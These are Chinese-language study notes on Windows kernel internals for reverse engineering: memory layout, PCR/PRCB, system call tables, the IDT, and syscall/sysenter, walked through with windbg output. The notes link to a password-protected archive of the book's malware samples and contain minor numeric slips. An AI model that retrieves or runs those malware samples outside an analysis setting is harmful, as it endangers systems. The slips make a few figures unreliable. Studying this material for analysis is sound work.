<p>目录可能会稍微有点乱,不要介意,凑合看吧</p>
<h3>约定</h3>
<p>不知道该怎么翻译的,我一律直接用英文原文,只可意会不可言传,自 …</p><p><a href="https://github.com/wqreytuk/Practical_Reverse_Engineering_note/tree/main/Part%20I">Part I</a></p>
<p>目录可能会稍微有点乱,不要介意,凑合看吧</p>
<h3>约定</h3>
<p>不知道该怎么翻译的,我一律直接用英文原文,只可意会不可言传,自己去悟吧</p>
<p><a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debug-universal-drivers---step-by-step-lab--echo-kernel-mode-#connectto">内核调试配置</a></p>
<p>windbg启动命令</p>
<div class="highlight"><pre><span></span><code>windbg32<span class="w"> </span>–k<span class="w"> </span>net:port<span class="o">=</span><span class="m">50000</span>,key<span class="o">=</span>2steg4fzbj2sz.23418vzkd4ko3.1g34ou07z4pev.1sp3yo9yz874p
windbg64<span class="w"> </span>–k<span class="w"> </span>net:port<span class="o">=</span><span class="m">50100</span>,key<span class="o">=</span>2steg4fzbj2sz.23418vzkd4ko3.1g34ou07z4pev.1sp3yo9yz874p
</code></pre></div>
<p><a href="https://github.com/wqreytuk/Practical_Reverse_Engineering_note/blob/main/malware_samples.zip">书中使用到的所有恶意样本</a></p>
<p>密码是<code>infected</code></p>
<h2>第三章</h2>
<p>我他妈直接从第三章开始读</p>
<p>在读这本书的时候我一共用到了三个镜像</p>
<p>windows 1903 x64</p>
<p><a href="https://archive.org/details/windows_8_professional_rtm">windows 8.1 RTM x64</a></p>
<p><a href="https://archive.org/details/windows-8-pro-rtm-english-isos">windows 8.1 RTM x86</a></p>
<p>关于windows 1903 x64的下载,我使用的是<a href="https://rufus.ie/en/">rufus</a>的下载功能,如下图所示</p>
<p><img alt="image-20220727170159014" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/StcMTPjvhx.jpg"></p>
<p><img alt="image-20220727170332691" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/sXgHGmNbnB.jpg"></p>
<p>在书中,作者说,如果把逆向windows驱动的任务分成两部分,那么有90%的任务是理解Windows是怎么工作的,只有10%是阅读汇编代码</p>
<p>这一章的主要内容就是讲解Windows内核,而且是针对逆向的内核讲解</p>
<p>最后以对rootkit的逆向作为这一章知识点的总结</p>
<h3>Windows基础</h3>
<p>先讨论Windows内核的核心概念,以及与其关联的基础数据结构和与驱动编程相关的内核对象以及逆向</p>
<h4>内存布局</h4>
<p>和许多操作系统的做法一样,Windows将虚拟内存分为了两部分:内核和用户空间</p>
<p>在32位操作系统中,用户空间为</p>
<div class="highlight"><pre><span></span><code><span class="mf">0</span><span class="err">~</span><span class="mf">0</span><span class="n">x7fffffff</span>
</code></pre></div>
<p><img alt="image-20220727203729253" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/hgJeizxRHv.jpg"></p>
<p>即2GB</p>
<p>内核空间为</p>
<div class="highlight"><pre><span></span><code><span class="mf">0</span><span class="n">x80000000</span><span class="err">~</span><span class="mf">0</span><span class="n">xFFFFFFFF</span>
</code></pre></div>
<p><img alt="image-20220727204007400" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/wuSbKCQTpl.jpg"></p>
<p>也是2GB</p>
<p>因为32位操作系统的寻址范围就是4个GB</p>
<p>在64位操作系统中,概念是一样的,只不过略有不同</p>
<p>用户空间的范围是</p>
<div class="highlight"><pre><span></span><code><span class="mf">0</span><span class="err">~</span><span class="mf">0</span><span class="n">x000007ff</span><span class="err">`</span><span class="n">ffffffff</span>
</code></pre></div>
<p>8TB</p>
<p>内核的内存空间是</p>
<div class="highlight"><pre><span></span><code> 0xffff0800`00000000~0xffffffff`ffffffff
</code></pre></div>
<p>248TB</p>
<p><img alt="image-20220727211451130" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/XwSazsHWtR.jpg"></p>
<p>当一个进程中的线程获得CPU时间片得以运行的时候,操作系统会从一个寄存器中获得属于该进程的page directory base地址,这使得虚拟地址的映射只针对当前进程而不是其他的进程</p>
<p>这也是为什么存在于操作系统中的多个进程都会以为自己拥有整个用户空间的内存而互不影响</p>
<p>存储page directory base的寄存器是CR3</p>
<p>对于32位操作系统,在boot options中设置<code>/3GB</code>选项可以使得用户空间增长为3GB,内核空间缩小为1GB</p>
<p>用户和内核空间地址范围存储在两个变量中</p>
<ul>
<li>
<p>用户空间</p>
</li>
<li>
<p><code>MmHighestUserAddress</code></p>
</li>
<li>
<p>内核空间</p>
</li>
<li>
<p><code>MmSystemRangeStart</code></p>
</li>
</ul>
<p>下面是32位操作系统中这两个变量的值</p>
<div class="highlight"><pre><span></span><code>kd> ddp nt!MmHighestUserAddress L1
8102c46c 7ffeffff
kd> ddp nt!MmSystemRangeStart L1
8102c470 80000000
</code></pre></div>
<p>可以看到完全符合上图中的地址范围</p>
<p>下面是64位的</p>
<div class="highlight"><pre><span></span><code>kd> dqp nt!MmHighestUserAddress L1
fffff801`c07cd040 000007ff`fffeffff
kd> dqp nt!MmSystemRangeStart L1
fffff801`c07cd168 ffff0800`00000000
</code></pre></div>
<p>注意32和64位的用户和内核空间中间都隔了64KB(0x10000bytes->65556bytes)</p>
<p>这个主要是为了避免意外的越界,这64KB的空间通常被称作no-access region</p>
<p>根据<a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/126025473?csdn_share_tail=%7B%22type%22%3A%22blog%22%2C%22rType%22%3A%22article%22%2C%22rId%22%3A%22126025473%22%2C%22source%22%3A%22ma_de_hao_mei_le%22%7D&ctrtid=syGUR">Canonical Address</a>的定义,64位的内核空间的起始地址并不符合要求</p>
<p><code>0xffff080000000000</code>的二进制形式为</p>
<div class="highlight"><pre><span></span><code><span class="mf">11111111</span><span class="w"> </span><span class="mf">11111111</span><span class="w"> </span><span class="mf">00001000</span><span class="w"> </span><span class="mf">00000000</span><span class="w"> </span><span class="mf">00000000</span><span class="w"> </span><span class="mf">00000000</span><span class="w"> </span><span class="mf">00000000</span><span class="w"> </span><span class="mf">00000000</span>
</code></pre></div>
<p>bits48-63为1,但是bits47为0</p>
<p>因此这个地址并不是内核空间真正的起始地址,真正的起始地址是<code>0xffff800000000000</code></p>
<h3>处理器的初始化</h3>
<p>系统启动的时候会对每一个处理器进行初始化,处理器初始化的细节对与日常逆向工作来讲并不是很重要,但是了解一些核心结构体还是很重要的</p>
<p>PCR——processor control region</p>
<p>每一个处理器都拥有一个PCR,用于存储CPU的重要信息和状态</p>
<p>在32位操作系统中,PCR中包含了IDT的基地址以及当前的IRQL(Interrupt Request Level)</p>
<p>在PCR中还存在着另外一个结构体PRCB——processor region control block</p>
<p>PCR和PRCB都是没有文档的,只能通过windbg的内核调试来观察他们的定义</p>
<div class="highlight"><pre><span></span><code>dt nt!_KPCR
dt nt!_KPRCB
</code></pre></div>
<p>当前处理器的PCR总是可以在内核模式下通过特殊的寄存器访问到</p>
<p>Windows内核中有两个例程可以获取到当前的KPROCESS和KTHREAD结构体</p>
<ul>
<li>PsGetCUrrentProcess</li>
<li>PSGetCurrentThread</li>
</ul>
<p>这两个例程就是通过查询PCR/PRCB来实现的</p>
<div class="highlight"><pre><span></span><code>kd> uf nt!PsGetCurrentThread
nt!PsGetCurrentThread:
fffff800`2ff63770 65488b042588010000 mov rax,qword ptr gs:[188h]
fffff800`2ff63779 c3 ret
</code></pre></div>
<p><code>gs[0]</code>是PCR结构体的地址,0x180是PRCB在PCR结构体中的偏移量</p>
<p><img alt="image-20220728105020054" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ybVMEboJlp.jpg"></p>
<p><img alt="image-20220728105055967" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/QUNgkpEcZu.jpg"></p>
<p>0x8是CurrentThread在PRCB中的偏移量</p>
<p>因此使用<code>gs[188h]</code>就能获取到KTHREAD结构体</p>
<div class="highlight"><pre><span></span><code>kd> uf nt!PsGetCurrentProcess
nt!PsGetCurrentProcess:
fffff800`2fec9770 65488b042588010000 mov rax,qword ptr gs:[188h]
fffff800`2fec9779 488b80b8000000 mov rax,qword ptr [rax+0B8h]
fffff800`2fec9780 c3 ret
</code></pre></div>
<p>此时rax已经指向了KTHREAD结构体,然后又取得了KTHREAD结构体0xB8偏移量的值,下面是KTHREAD结构体的定义</p>
<div class="highlight"><pre><span></span><code>kd> dt nt!_KTHREAD
+0x000 Header : _DISPATCHER_HEADER
+0x018 SListFaultAddress : Ptr64 Void
+0x020 QuantumTarget : Uint8B
+0x028 InitialStack : Ptr64 Void
+0x030 StackLimit : Ptr64 Void
+0x038 StackBase : Ptr64 Void
+0x040 ThreadLock : Uint8B
+0x048 CycleTime : Uint8B
+0x050 CurrentRunTime : Uint4B
+0x054 ExpectedRunTime : Uint4B
+0x058 KernelStack : Ptr64 Void
+0x060 StateSaveArea : Ptr64 _XSAVE_FORMAT
+0x068 SchedulingGroup : Ptr64 _KSCHEDULING_GROUP
+0x070 WaitRegister : _KWAIT_STATUS_REGISTER
+0x071 Running : UChar
+0x072 Alerted : [2] UChar
+0x074 KernelStackResident : Pos 0, 1 Bit
+0x074 ReadyTransition : Pos 1, 1 Bit
+0x074 ProcessReadyQueue : Pos 2, 1 Bit
+0x074 WaitNext : Pos 3, 1 Bit
+0x074 SystemAffinityActive : Pos 4, 1 Bit
+0x074 Alertable : Pos 5, 1 Bit
+0x074 CodePatchInProgress : Pos 6, 1 Bit
+0x074 UserStackWalkActive : Pos 7, 1 Bit
+0x074 ApcInterruptRequest : Pos 8, 1 Bit
+0x074 QuantumEndMigrate : Pos 9, 1 Bit
+0x074 UmsDirectedSwitchEnable : Pos 10, 1 Bit
+0x074 TimerActive : Pos 11, 1 Bit
+0x074 SystemThread : Pos 12, 1 Bit
+0x074 ProcessDetachActive : Pos 13, 1 Bit
...
+0x098 ApcState : _KAPC_STATE
+0x098 ApcStateFill : [43] UChar
+0x0c3 Priority : Char
+0x0c4 UserIdealProcessor : Uint4B
+0x0c8 WaitStatus : Int8B
+0x0d0 WaitBlockList : Ptr64 _KWAIT_BLOCK
+0x0d8 WaitListEntry : _LIST_ENTRY
...
</code></pre></div>
<p>首先在KTHREAD结构体中并没有0xB8这个偏移量,只有0x98,很明显该偏移量是一个union,显然应该是ApcState</p>
<p><img alt="image-20220728105800239" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/JpYFGURXoU.jpg"></p>
<p>再加上0x20的偏移量,正好就是0xB8,进而获取到KPROCESS</p>
<h3>系统调用</h3>
<p>系统调用的实现细节也是没有文档的</p>
<p>系统调用的相关信息存储在这两个数据结构中</p>
<ul>
<li>service table descriptor</li>
<li>array of function pointers/offsets</li>
</ul>
<p>service table descriptor没有文档,是别人通过分析<code>KiSystemCall64</code>和<code>KiSystemService</code>例程从而得到该结构的定义的</p>
<div class="highlight"><pre><span></span><code><span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_KSERVICE_TABLE_DESCRIPTOR</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">PULONG</span><span class="w"> </span><span class="n">Base</span><span class="p">;</span><span class="w"> </span><span class="c1">// array of fucntion addresses or offsets</span>
<span class="w"> </span><span class="n">PULONG</span><span class="w"> </span><span class="n">Count</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">Limit</span><span class="p">;</span><span class="w"> </span><span class="c1">// size of the array</span>
<span class="w"> </span><span class="n">PUCHAR</span><span class="w"> </span><span class="n">Number</span><span class="p">;</span>
<span class="w"> </span><span class="p">...</span>
<span class="p">}</span><span class="w"> </span><span class="n">KSERVICE_TABLE_DESCRIPTOR</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="n">PKSERVICE_TABLE_DESCRIPTOR</span><span class="p">;</span>
</code></pre></div>
<p>system call number就是Base指向的数组中的索引,Limit就是Base指向的数组的长度</p>
<p>内核中有两个全局数组:</p>
<ul>
<li>KeServiceDescriptorTable</li>
<li>KeServiceDescriptorTableShadow</li>
</ul>
<p>后者比前者多可一个GUI系统调用表</p>
<p>另外还有两个全局指针分别指向非GUI系统调用的地址以及GUI系统调用的地址:</p>
<ul>
<li>KiSserviceTable</li>
<li>W32pServiceTable</li>
</ul>
<p>下面是在32位操作系统中那两个全局数组和两个全局指针的关系</p>
<p><img alt="image-20220728111503059" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/zZopoCNqaa.jpg"></p>
<p><img alt="image-20220728112325765" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/VWzUhHpSQG.jpg"></p>
<p><img alt="image-20220728112352350" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/rTJhFMWHcs.jpg"></p>
<p><strong>在64位操作系统中,情况稍有不同</strong></p>
<p><img alt="image-20220728112545589" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/ehKAIPNRlE.jpg"></p>
<p>这里出现了两个<code>nt!KiServiceTable</code>,不要感到意外,因为<code>nt!KeServiceDescriptorTable</code>本身就是一个表,里面的元素就是一个个的<code>KSERVICE_TABLE_DESCRIPTOR</code>,因此出现一次两次或者更多都是正常现象</p>
<p>先来看一下<code>ntdll!NtCreateFile</code>函数的实现代码:</p>
<div class="highlight"><pre><span></span><code>kd> uf ntdll!NtCreateFile
ntdll!NtCreateFile:
000007fc`2bca30f0 4c8bd1 mov r10,rcx
000007fc`2bca30f3 b853000000 mov eax,53h
000007fc`2bca30f8 0f05 syscall
000007fc`2bca30fa c3 ret
</code></pre></div>
<p>上面的汇编代码中,eax就是system call number,即0x53</p>
<p>数组的起始地址:</p>
<div class="highlight"><pre><span></span><code>kd> x nt!KiServiceTable
fffff803`eb4f7200 nt!KiServiceTable (<no parameter info>)
</code></pre></div>
<p>每个系统调用在数组中占用4bytes</p>
<p>那么第0x53号系统调用的值应该为:</p>
<div class="highlight"><pre><span></span><code>kd> dd nt!KiServiceTable+(0x53*4) L1
fffff803`eb4f734c 03e93907
</code></pre></div>
<p>这个数字<code>03e93907</code>是一个被编码过的数字,编码规则如下:</p>
<blockquote>
<p>高28位表示偏移量,低4位表示使用需要使用栈传递的参数个数</p>
</blockquote>
<div class="highlight"><pre><span></span><code>kd> uf nt!KiServiceTable + (03e93907>>4)
nt!NtCreateFile:
fffff803`eb8e0590 4881ec88000000 sub rsp,88h
fffff803`eb8e0597 33c0 xor eax,eax
fffff803`eb8e0599 4889442478 mov qword ptr [rsp+78h],rax
fffff803`eb8e059e c744247020000000 mov dword ptr [rsp+70h],20h
fffff803`eb8e05a6 89442468 mov dword ptr [rsp+68h],eax
fffff803`eb8e05aa 4889442460 mov qword ptr [rsp+60h],rax
...
fffff803`eb8e05ff 4889442420 mov qword ptr [rsp+20h],rax
fffff803`eb8e0604 e837f5ffff call nt!IopCreateFile (fffff803`eb8dfb40)
fffff803`eb8e0609 4881c488000000 add rsp,88h
fffff803`eb8e0610 c3 ret
</code></pre></div>
<p>需要通过栈进行传递的参数是7个</p>
<p><img alt="image-20220728122219459" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/XIraiCPNGx.jpg"></p>
<p><strong>一共需要11个参数,前4个是通过寄存器进行传递的</strong></p>
<p>系统调用一般通过中断或者处理器特有的指令实现</p>
<h4>Faults Traps Interrupts</h4>
<p>这里介绍一些专业术语以便更好的解释外围设备和软件是如何与处理器进行交互的</p>
<p>当代计算机系统中,处理器一般通过数组总线比如PCI、FireWire或者USB等和外围设备进行连接</p>
<p>外围设备发起请求的时候会引发一个<em>interrupt</em>强制中断处理器当前的任务,而让处理器转而去处理该外围设备的请求</p>
<p><strong>笼统的讲,<em>interrupt</em>会和一个数字关联,该数字是一个函数指针数组的索引,当处理器收到请求时,就会根据该<em>interrupt</em>关联的索引找到对应的函数来对该请求进行处理</strong></p>
<p>处理完成(函数返回)后,处理器会返回到之前的任务继续执行</p>
<p>上面这种被称作<em>hardware interrupt</em>,由于外围设备的特性,这种中断天生就是异步的(请求可能在任意时刻产生)</p>
<p>处理器在执行指令的时候可能会遇到异常,比如零除、空指针等</p>
<p>异常可以被分为两类</p>
<ul>
<li>faults——错误</li>
<li>traps——陷阱</li>
</ul>
<p>faults是可以被修复的异常</p>
<p>faults:</p>
<blockquote>
<p>比如一个指令引用了一个合法的地址,但是该地址中并无数据,此时会引发一个page fault(页错误)异常,并调用page fault handler来修复此异常(通过page in缺失的数据),然后重新执行之前引发异常的指令</p>
</blockquote>
<p>traps通常由特殊类型的指令执行引发</p>
<p>traps:</p>
<blockquote>
<p>比如在64位操作系统中,SYSCALL指令会使得处理器执行由MSR寄存器指定的地址处的代码,执行完成之后,SYSCALL指令之后的代码会被立即执行</p>
</blockquote>
<p>这两者的区别就是handler执行完成之后,下一条指令的位置,前者是同一条指令,而后者则是下一条指令</p>
<h5>Interrupts</h5>
<p>因特尔架构的处理器定义了一个IDT——interrupt descriptor table</p>
<p>此表长度位256,每一个表项都是一个包含了interrupt handler信息的结构体,IDT的基地址保存在IDTR寄存器中</p>
<p>IDT一部分的表项是预定义的保留项,32-255项可以由用户自行定义</p>
<p>32位操作系统中表项的结构体定义如下,一共是8bytes</p>
<div class="highlight"><pre><span></span><code>kd> dt nt!_KIDTENTRY
+0x000 Offset : Uint2B
+0x002 Selector : Uint2B
+0x004 Access : Uint2B
+0x006 ExtendedOffset : Uint2B
</code></pre></div>
<p>64位:</p>
<div class="highlight"><pre><span></span><code>kd> dt nt!_KIDTENTRY64
+0x000 OffsetLow : Uint2B
+0x002 Selector : Uint2B
+0x004 IstIndex : Pos 0, 3 Bits
+0x004 Reserved0 : Pos 3, 5 Bits
+0x004 Type : Pos 8, 5 Bits
+0x004 Dpl : Pos 13, 2 Bits
+0x004 Present : Pos 15, 1 Bit
+0x006 OffsetMiddle : Uint2B
+0x008 OffsetHigh : Uint4B
+0x00c Reserved1 : Uint4B
+0x000 Alignment : Uint8B
</code></pre></div>
<p>interrupt handler的offset被分为了高中低三部分</p>
<p>下面来看一下如何解析IDT(x86)</p>
<div class="highlight"><pre><span></span><code><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">r</span><span class="w"> </span><span class="nv">@idtr</span>
<span class="n">idtr</span><span class="o">=</span><span class="mi">80</span><span class="n">efc400</span>
<span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">dt</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">_KIDTENTRY</span><span class="w"> </span><span class="mi">80</span><span class="n">efc400</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x000</span><span class="w"> </span><span class="n">Offset</span><span class="w"> </span><span class="err">:</span><span class="w"> </span><span class="mh">0x5284</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x002</span><span class="w"> </span><span class="n">Selector</span><span class="w"> </span><span class="err">:</span><span class="w"> </span><span class="mi">8</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x004</span><span class="w"> </span><span class="n">Access</span><span class="w"> </span><span class="err">:</span><span class="w"> </span><span class="mh">0x8e00</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x006</span><span class="w"> </span><span class="n">ExtendedOffset</span><span class="w"> </span><span class="err">:</span><span class="w"> </span><span class="mh">0x8117</span>
<span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">u</span><span class="w"> </span><span class="mh">0x81175284</span>
<span class="n">nt</span><span class="err">!</span><span class="nl">KiTrap00</span><span class="p">:</span>
<span class="mi">81175284</span><span class="w"> </span><span class="mi">6</span><span class="n">a00</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="mi">0</span>
<span class="mi">81175286</span><span class="w"> </span><span class="mi">66</span><span class="n">c74424020000</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">word</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">esp+2</span><span class="o">]</span><span class="p">,</span><span class="mi">0</span>
<span class="mi">8117528</span><span class="n">d</span><span class="w"> </span><span class="mi">55</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">ebp</span>
<span class="mi">8117528</span><span class="n">e</span><span class="w"> </span><span class="mi">53</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">ebx</span>
<span class="mi">8117528</span><span class="n">f</span><span class="w"> </span><span class="mi">56</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">esi</span>
<span class="mi">81175290</span><span class="w"> </span><span class="mi">57</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">edi</span>
<span class="mi">81175291</span><span class="w"> </span><span class="mi">0</span><span class="n">fa0</span><span class="w"> </span><span class="n">push</span><span class="w"> </span><span class="n">fs</span>
<span class="mi">81175293</span><span class="w"> </span><span class="n">bb30000000</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">ebx</span><span class="p">,</span><span class="mi">30</span><span class="n">h</span>
</code></pre></div>
<p>很简单,就是把<code>ExtendedOffset</code>作为高16位,<code>Offset</code>作为低16位拼接起来就可以得到interrupt handler的地址了</p>
<p><img alt="image-20220728130907319" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/tRUzgauJjL.jpg"></p>
<p>下面来看一下使用interrupt实现的系统调用</p>
<p>环境位<code>windows7 x86 sp1</code>(debuggee)和<code>windows10 x64 1903</code>(debugger)</p>
<p>调试环境和遇到的问题:</p>
<ul>
<li><a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/126049947">https://blog.csdn.net/ma_de_hao_mei_le/article/details/126049947</a></li>
<li><a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/126051148">https://blog.csdn.net/ma_de_hao_mei_le/article/details/126051148</a></li>
<li><a href="https://citrusice.github.io/">鸣谢汪哥</a></li>
</ul>
<p>win7镜像依然通过<a href="https://rufus.ie/en/">rufus</a>进行下载</p>
<div class="highlight"><pre><span></span><code><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">uf</span><span class="w"> </span><span class="n">ntdll</span><span class="err">!</span><span class="n">NtCreateFile</span>
<span class="n">ntdll</span><span class="err">!</span><span class="nl">NtCreateFile</span><span class="p">:</span>
<span class="mi">776850</span><span class="n">f0</span><span class="w"> </span><span class="n">b842000000</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">eax</span><span class="p">,</span><span class="mi">42</span><span class="n">h</span>
<span class="mi">776850</span><span class="n">f5</span><span class="w"> </span><span class="n">ba0003fe7f</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">edx</span><span class="p">,</span><span class="n">offset</span><span class="w"> </span><span class="n">SharedUserData</span><span class="err">!</span><span class="n">SystemCallStub</span><span class="w"> </span><span class="p">(</span><span class="mi">7</span><span class="n">ffe0300</span><span class="p">)</span>
<span class="mi">776850</span><span class="n">fa</span><span class="w"> </span><span class="n">ff12</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="n">dword</span><span class="w"> </span><span class="n">ptr</span><span class="w"> </span><span class="o">[</span><span class="n">edx</span><span class="o">]</span>
<span class="mi">776850</span><span class="n">fc</span><span class="w"> </span><span class="n">c22c00</span><span class="w"> </span><span class="n">ret</span><span class="w"> </span><span class="mi">2</span><span class="n">Ch</span>
</code></pre></div>
<p>可以看到,调用了<code>SharedUserData!SystemCallStub</code>指向的函数</p>
<p>书上说,在所有架构的处理器中都有一个叫做<code>KUSER_SHARED_DATA</code>的结构体会映射到<code>0x7ffe0000</code>上</p>
<div class="highlight"><pre><span></span><code><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">dt</span><span class="w"> </span><span class="n">ntdll</span><span class="o">!</span><span class="n">_KUSER_SHARED_DATA</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x000</span><span class="w"> </span><span class="n">TickCountLowDeprecated</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Uint4B</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x004</span><span class="w"> </span><span class="n">TickCountMultiplier</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Uint4B</span>
<span class="w"> </span><span class="p">...</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x2f8</span><span class="w"> </span><span class="n">TestRetInstruction</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Uint8B</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x300</span><span class="w"> </span><span class="n">SystemCall</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Uint4B</span>
<span class="w"> </span><span class="p">...</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x3d8</span><span class="w"> </span><span class="n">DEPRECATED_SystemDllWowRelocation</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Uint4B</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x3dc</span><span class="w"> </span><span class="n">XStatePad</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="n">Uint4B</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x3e0</span><span class="w"> </span><span class="n">XState</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">_XSTATE_CONFIGURATION</span>
</code></pre></div>
<p>那么<code>KUSER_SHARED_DATA</code>偏移量为0x300的地方就是<code>SystemCall</code>,是一个32位的地址</p>
<div class="highlight"><pre><span></span><code><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">u</span><span class="w"> </span><span class="n">poi</span><span class="p">(</span><span class="n">SharedUserData</span><span class="err">!</span><span class="n">SystemCallStub</span><span class="p">)</span>
<span class="n">ntdll</span><span class="err">!</span><span class="nl">KiFastSystemCall</span><span class="p">:</span>
<span class="mi">77686</span><span class="n">bb0</span><span class="w"> </span><span class="mi">8</span><span class="n">bd4</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">edx</span><span class="p">,</span><span class="n">esp</span>
<span class="mi">77686</span><span class="n">bb2</span><span class="w"> </span><span class="mi">0</span><span class="n">f34</span><span class="w"> </span><span class="n">sysenter</span>
<span class="n">ntdll</span><span class="err">!</span><span class="nl">KiFastSystemCallRet</span><span class="p">:</span>
<span class="mi">77686</span><span class="n">bb4</span><span class="w"> </span><span class="n">c3</span><span class="w"> </span><span class="n">ret</span>
<span class="mi">77686</span><span class="n">bb5</span><span class="w"> </span><span class="mi">8</span><span class="n">da42400000000</span><span class="w"> </span><span class="n">lea</span><span class="w"> </span><span class="n">esp</span><span class="p">,</span><span class="o">[</span><span class="n">esp</span><span class="o">]</span>
<span class="mi">77686</span><span class="n">bbc</span><span class="w"> </span><span class="mi">8</span><span class="n">d642400</span><span class="w"> </span><span class="n">lea</span><span class="w"> </span><span class="n">esp</span><span class="p">,</span><span class="o">[</span><span class="n">esp</span><span class="o">]</span>
<span class="n">ntdll</span><span class="err">!</span><span class="nl">KiIntSystemCall</span><span class="p">:</span>
<span class="mi">77686</span><span class="n">bc0</span><span class="w"> </span><span class="mi">8</span><span class="n">d542408</span><span class="w"> </span><span class="n">lea</span><span class="w"> </span><span class="n">edx</span><span class="p">,</span><span class="o">[</span><span class="n">esp+8</span><span class="o">]</span>
<span class="mi">77686</span><span class="n">bc4</span><span class="w"> </span><span class="n">cd2e</span><span class="w"> </span><span class="nc">int</span><span class="w"> </span><span class="mi">2</span><span class="n">Eh</span>
<span class="mi">77686</span><span class="n">bc6</span><span class="w"> </span><span class="n">c3</span><span class="w"> </span><span class="n">ret</span>
</code></pre></div>
<p>最后进入了0x2E号中断(这里我分析的不对,根本就不会执行中断,而是执行ntdll!KiFastSystemCall中的sysenter,执行完之后就直接返回了,可能是因为处理器的原因,并没有执行ntdll!KiIntSystemCall的代码)</p>
<div class="highlight"><pre><span></span><code>kd> !idt 0x2E
Dumping IDT: 80b93000
a6eeb3870000002e: 82a4546a nt!KiSystemService
kd> u 82a4546a
nt!KiSystemService:
82a4546a 6a00 push 0
82a4546c 55 push ebp
82a4546d 53 push ebx
82a4546e 56 push esi
82a4546f 57 push edi
82a45470 0fa0 push fs
82a45472 bb30000000 mov ebx,30h
82a45477 668ee3 mov fs,bx
</code></pre></div>
<p>可以看到<code>KiSystemSserice</code>是syscall handler dispatcher</p>
<h5>Traps</h5>
<p>前面已经提到过64位操作系统中<code>ntdll!NtCreateFile</code>使用的<code>0x53</code>号系统调用</p>
<div class="highlight"><pre><span></span><code>kd> uf ntdll!NtCreateFile
ntdll!NtCreateFile:
000007fc`2bca30f0 4c8bd1 mov r10,rcx
000007fc`2bca30f3 b853000000 mov eax,53h
000007fc`2bca30f8 0f05 syscall
000007fc`2bca30fa c3 ret
</code></pre></div>
<p><code>syscall</code>指令可以将执行流程切换至内核模式,那这个切换如何实现的呢?</p>
<p>根据SYSCALL文档,当syscall指令被执行的时候,RIP寄存器会从<code>IA32_LSTAR MSR (0xc0000082)</code>中取值</p>
<div class="highlight"><pre><span></span><code><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">rdmsr</span><span class="w"> </span><span class="mh">0xC0000082</span>
<span class="n">msr</span><span class="o">[</span><span class="n">c0000082</span><span class="o">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">fffff803</span><span class="err">`</span><span class="n">eb4fadc0</span>
<span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">u</span><span class="w"> </span><span class="n">fffff803</span><span class="err">`</span><span class="n">eb4fadc0</span>
<span class="n">nt</span><span class="err">!</span><span class="nl">KiSystemCall64</span><span class="p">:</span>
<span class="n">fffff803</span><span class="err">`</span><span class="n">eb4fadc0</span><span class="w"> </span><span class="mi">0</span><span class="n">f01f8</span><span class="w"> </span><span class="n">swapgs</span>
